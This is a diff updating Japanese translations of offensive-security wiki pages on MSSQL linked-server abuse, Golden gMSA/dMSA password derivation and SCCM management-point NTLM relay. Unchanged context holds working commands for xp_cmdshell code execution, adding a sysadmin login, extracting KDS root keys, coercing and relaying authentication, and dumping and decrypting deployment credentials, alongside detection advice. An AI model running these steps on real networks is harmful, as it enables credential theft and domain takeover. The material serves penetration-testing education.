注意してください、metasploitはMSSQLの`openquery()`関数のみを悪用しようとします(したがって、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動で**試す必要があります。詳細は以下を参照してください。)
|
||||
|
||||
### 手動 - Openquery()
|
||||
|
||||
**Linux**からは、**sqsh**と**mssqlclient.py**を使用してMSSQLコンソールシェルを取得できます。
|
||||
|
||||
**Windows**からも、リンクを見つけて手動でコマンドを実行することができる**MSSQLクライアントのような** [**HeidiSQL**](https://www.heidisql.com)を使用できます。
|
||||
**Windows**からも、リンクを見つけて手動でコマンドを実行することができる**MSSQLクライアントのような**[**HeidiSQL**](https://www.heidisql.com)を使用できます。
|
||||
|
||||
_Windows認証を使用してログイン:_
|
||||
|
||||
@ -247,7 +247,7 @@ EXEC sp_linkedservers;
|
||||
|
||||
#### 信頼できるリンクでクエリを実行する
|
||||
|
||||
リンクを通じてクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける)。
|
||||
リンクを通じてクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける):
|
||||
```sql
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
@ -256,7 +256,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
|
||||
.png>)
|
||||
|
||||
これらの信頼されたリンクのチェーンを手動で永遠に続けることができます。
|
||||
手動でこれらの信頼されたリンクのチェーンを永遠に続けることができます。
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
@ -264,7 +264,7 @@ SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''p
|
||||
# Second level RCE
|
||||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||||
```
|
||||
`exec xp_cmdshell`を`openquery()`から実行できない場合は、`EXECUTE`メソッドを試してください。
|
||||
`openquery()`から`exec xp_cmdshell`のようなアクションを実行できない場合は、`EXECUTE`メソッドを試してください。
|
||||
|
||||
### 手動 - EXECUTE
|
||||
|
||||
@ -278,9 +278,9 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
||||
|
||||
**MSSQLローカルユーザー**は通常、**`SeImpersonatePrivilege`**と呼ばれる特別な種類の特権を持っています。これにより、アカウントは「認証後にクライアントを偽装する」ことができます。
|
||||
|
||||
多くの著者が考案した戦略は、攻撃者が作成した悪意のあるまたは中間者サービスにSYSTEMサービスを認証させることです。この悪意のあるサービスは、SYSTEMサービスが認証を試みている間にそのサービスを偽装することができます。
|
||||
多くの著者が考案した戦略は、攻撃者が作成した悪意のあるまたは中間者サービスにSYSTEMサービスを認証させることです。この悪意のあるサービスは、認証を試みている間にSYSTEMサービスを偽装することができます。
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)には、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまな技術のコレクションがあります。
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)は、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまな技術のコレクションを持っています。
|
||||
|
||||
|
||||
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## 概要
|
||||
|
||||
Windows管理サービスアカウント(MSA)は、パスワードを手動で管理することなくサービスを実行するために設計された特別なプリンシパルです。
|
||||
Windows Managed Service Accounts (MSA) は、パスワードを手動で管理することなくサービスを実行するために設計された特別なプリンシパルです。
|
||||
主に2つのバリエーションがあります:
|
||||
|
||||
1. **gMSA** – グループ管理サービスアカウント – `msDS-GroupMSAMembership`属性で承認された複数のホストで使用できます。
|
||||
1. **gMSA** – グループ管理サービスアカウント – `msDS-GroupMSAMembership` 属性で承認された複数のホストで使用できます。
|
||||
2. **dMSA** – 委任管理サービスアカウント – gMSAの(プレビュー)後継で、同じ暗号技術に依存しながら、より細かい委任シナリオを可能にします。
|
||||
|
||||
両方のバリエーションにおいて、**パスワードは**通常のNTハッシュのように各ドメインコントローラー(DC)に**保存されません**。代わりに、各DCは以下の情報から**現在のパスワードをその場で導出**できます:
|
||||
両方のバリエーションにおいて、**パスワードは**通常のNTハッシュのように各ドメインコントローラー(DC)に**保存されません**。代わりに、各DCは以下から現在のパスワードを**導出**できます:
|
||||
|
||||
* フォレスト全体の**KDSルートキー**(`KRBTGT\KDS`) – ランダムに生成されたGUID名のシークレットで、`CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`コンテナの下にあるすべてのDCに複製されます。
|
||||
* フォレスト全体の**KDSルートキー**(`KRBTGT\KDS`) – ランダムに生成されたGUID名の秘密で、`CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` コンテナの下にあるすべてのDCに複製されます。
|
||||
* 対象アカウントの**SID**。
|
||||
* `msDS-ManagedPasswordId`属性に見つかるアカウントごとの**ManagedPasswordID**(GUID)。
|
||||
* `msDS-ManagedPasswordId` 属性に見つかるアカウントごとの**ManagedPasswordID**(GUID)。
|
||||
|
||||
導出は次のようになります:`AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 最終的に**base64エンコード**された240バイトのブロブが`msDS-ManagedPassword`属性に保存されます。
|
||||
導出は次のようになります:`AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 最終的に**base64エンコード**され、`msDS-ManagedPassword` 属性に保存される240バイトのブロブ。
|
||||
通常のパスワード使用中はKerberosトラフィックやドメインの相互作用は必要なく、メンバーホストは3つの入力を知っている限り、ローカルでパスワードを導出します。
|
||||
|
||||
## Golden gMSA / Golden dMSA攻撃
|
||||
@ -32,7 +32,7 @@ Windows管理サービスアカウント(MSA)は、パスワードを手動
|
||||
|
||||
1. **1つのDC**(またはエンタープライズ管理者)の**フォレストレベルの侵害**、またはフォレスト内のDCの1つへの`SYSTEM`アクセス。
|
||||
2. サービスアカウントを列挙する能力(LDAP読み取り / RIDブルートフォース)。
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA)または同等のコードを実行するための.NET ≥ 4.7.2 x64ワークステーション。
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) または同等のコードを実行するための.NET ≥ 4.7.2 x64ワークステーション。
|
||||
|
||||
### Golden gMSA / dMSA
|
||||
##### フェーズ1 – KDSルートキーの抽出
|
||||
@ -55,7 +55,7 @@ GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
`RootKey`(GUID名)とラベル付けされたbase64文字列は、後のステップで必要です。
|
||||
|
||||
##### フェーズ 2 – gMSA / dMSAオブジェクトの列挙
|
||||
##### フェーズ2 – gMSA / dMSAオブジェクトの列挙
|
||||
|
||||
少なくとも`sAMAccountName`、`objectSid`、および`msDS-ManagedPasswordId`を取得します:
|
||||
```powershell
|
||||
@ -65,7 +65,7 @@ Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) はヘルパーモードを実装しています:
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) はヘルパーモードを実装しています:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
@ -89,21 +89,21 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
|
||||
|
||||
##### フェーズ 4 – オフラインパスワード計算と変換
|
||||
|
||||
ManagedPasswordIDが知られると、有効なパスワードは1コマンドの距離にあります:
|
||||
ManagedPasswordIDが知られると、有効なパスワードは1コマンドの距離にあります:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
結果として得られるハッシュは、**mimikatz**(`sekurlsa::pth`)や**Rubeus**を使用してKerberosを悪用するために注入でき、ステルスな**横移動**と**持続性**を可能にします。
|
||||
結果として得られるハッシュは、**mimikatz**(`sekurlsa::pth`)や**Rubeus**を使用してKerberosの悪用に注入でき、ステルスな**横移動**と**持続性**を可能にします。
|
||||
|
||||
## 検出と緩和
|
||||
|
||||
* **DCバックアップおよびレジストリハイブの読み取り**機能をTier-0管理者に制限します。
|
||||
* DCでの**ディレクトリサービス復元モード(DSRM)**または**ボリュームシャドウコピー**の作成を監視します。
|
||||
* サービスアカウントの`CN=Master Root Keys,…`および`userAccountControl`フラグの読み取り/変更を監査します。
|
||||
* `CN=Master Root Keys,…`およびサービスアカウントの`userAccountControl`フラグの読み取り/変更を監査します。
|
||||
* 異常な**base64パスワードの書き込み**や、ホスト間での突然のサービスパスワードの再利用を検出します。
|
||||
* Tier-0の隔離が不可能な場合、高特権のgMSAを**クラシックサービスアカウント**に変換し、定期的なランダムローテーションを行うことを検討します。
|
||||
* Tier-0の隔離が不可能な場合、高特権gMSAを**クラシックサービスアカウント**に変換し、定期的なランダムローテーションを検討します。
|
||||
|
||||
## ツール
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
||||
**System Center Configuration Manager (SCCM) Management Point (MP)**をSMB/RPC経由で認証させ、そのNTLMマシンアカウントを**サイトデータベース (MSSQL)**にリレーすることで、`smsdbrole_MP` / `smsdbrole_MPUserSvc`権限を取得します。これらのロールを使用すると、**Operating System Deployment (OSD)**ポリシーブロブ(ネットワークアクセスアカウントの資格情報、タスクシーケンス変数など)を公開する一連のストアドプロシージャを呼び出すことができます。ブロブは16進数でエンコード/暗号化されていますが、**PXEthief**を使用してデコードおよび復号化でき、平文のシークレットが得られます。
|
||||
|
||||
高レベルのチェーン:
|
||||
1. MP & サイトDBを発見 ↦ 認証されていないHTTPエンドポイント `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`。
|
||||
2. `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`を開始します。
|
||||
3. **PetitPotam**、PrinterBug、DFSCoerceなどを使用してMPを強制します。
|
||||
4. SOCKSプロキシを介して、リレーされた**<DOMAIN>\\<MP-host>$**アカウントとして`mssqlclient.py -windows-auth`で接続します。
|
||||
1. MP & サイトDBを発見 ↦ 認証されていないHTTPエンドポイント`/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`。
|
||||
2. `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`を開始。
|
||||
3. **PetitPotam**、PrinterBug、DFSCoerceなどを使用してMPを強制。
|
||||
4. SOCKSプロキシを介して、リレーされた**<DOMAIN>\\<MP-host>$**アカウントとして`mssqlclient.py -windows-auth`で接続。
|
||||
5. 実行:
|
||||
* `use CM_<SiteCode>`
|
||||
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||
@ -29,13 +29,13 @@ MP ISAPI拡張機能**GetAuth.dll**は、認証を必要としないいくつか
|
||||
| `MPLIST` | サイト内のすべてのManagement-Pointをリストします。 |
|
||||
| `SITESIGNCERT` | プライマリサイト署名証明書を返します(LDAPなしでサイトサーバーを特定)。 |
|
||||
|
||||
後のDBクエリのための**clientID**として機能するGUIDを取得します:
|
||||
後のDBクエリのために**clientID**として機能するGUIDを取得します:
|
||||
```bash
|
||||
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
|
||||
```
|
||||
---
|
||||
|
||||
## 2. MPマシンアカウントをMSSQLにリレーする
|
||||
## 2. MPマシンアカウントをMSSQLに中継する
|
||||
```bash
|
||||
# 1. Start the relay listener (SMB→TDS)
|
||||
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
|
||||
@ -58,7 +58,7 @@ proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
**CM_<SiteCode>** DBに切り替えます(3桁のサイトコードを使用します。例:`CM_001`)。
|
||||
|
||||
### 3.1 不明なコンピュータのGUIDを見つける(オプション)
|
||||
### 3.1 不明なコンピュータGUIDを見つける(オプション)
|
||||
```sql
|
||||
USE CM_001;
|
||||
SELECT SMS_Unique_Identifier0
|
||||
@ -81,11 +81,11 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
```sql
|
||||
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
|
||||
```
|
||||
> 重要: SSMSで「最大取得文字数」を増やす(>65535)そうしないとBLOBが切り捨てられます。
|
||||
> 重要: SSMSで「最大取得文字数」を増やす(>65535)さもなければ、blobが切り捨てられます。
|
||||
|
||||
---
|
||||
|
||||
## 4. BLOBをデコードおよび復号化する
|
||||
## 4. blobをデコードおよび復号化する
|
||||
```bash
|
||||
# Remove the UTF-16 BOM, convert from hex → XML
|
||||
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
|
||||
@ -127,9 +127,9 @@ AND pe.permission_name='EXECUTE';
|
||||
---
|
||||
|
||||
## 6. 検出と強化
|
||||
1. **MPログインの監視** – ホストでないIPからログインしているMPコンピュータアカウントは≈リレー。
|
||||
1. **MPログインの監視** – ホストではないIPからログインしているMPコンピュータアカウントは≈リレー。
|
||||
2. サイトデータベースで**認証のための拡張保護 (EPA)**を有効にする(`PREVENT-14`)。
|
||||
3. 未使用のNTLMを無効にし、SMB署名を強制し、RPCを制限する(`PetitPotam`/`PrinterBug`に対して使用される同じ緩和策)。
|
||||
3. 使用していないNTLMを無効にし、SMB署名を強制し、RPCを制限する(`PetitPotam`/`PrinterBug`に対して使用される同じ緩和策)。
|
||||
4. IPSec / 相互TLSでMP ↔ DB通信を強化する。
|
||||
|
||||
---
|
||||
|
Loading…
x
Reference in New Issue
Block a user